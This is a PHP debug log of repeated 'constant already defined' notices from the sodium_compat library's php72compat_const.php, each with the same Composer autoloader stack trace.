PHP Notice:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 23
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 24
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 25
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 26
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 27
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 28
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 29
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 30
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 31
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 32
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 33
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 34
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 35
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 36
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 37
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 38
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 39
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 42
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 43
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 44
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 45
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 46
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 47
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 48
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 49
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 50
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 51
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 52
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 53
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 54
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 55
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 56
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 57
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 58
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 59
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 60
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 61
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 62
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 63
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 64
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 65
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 66
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 67
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
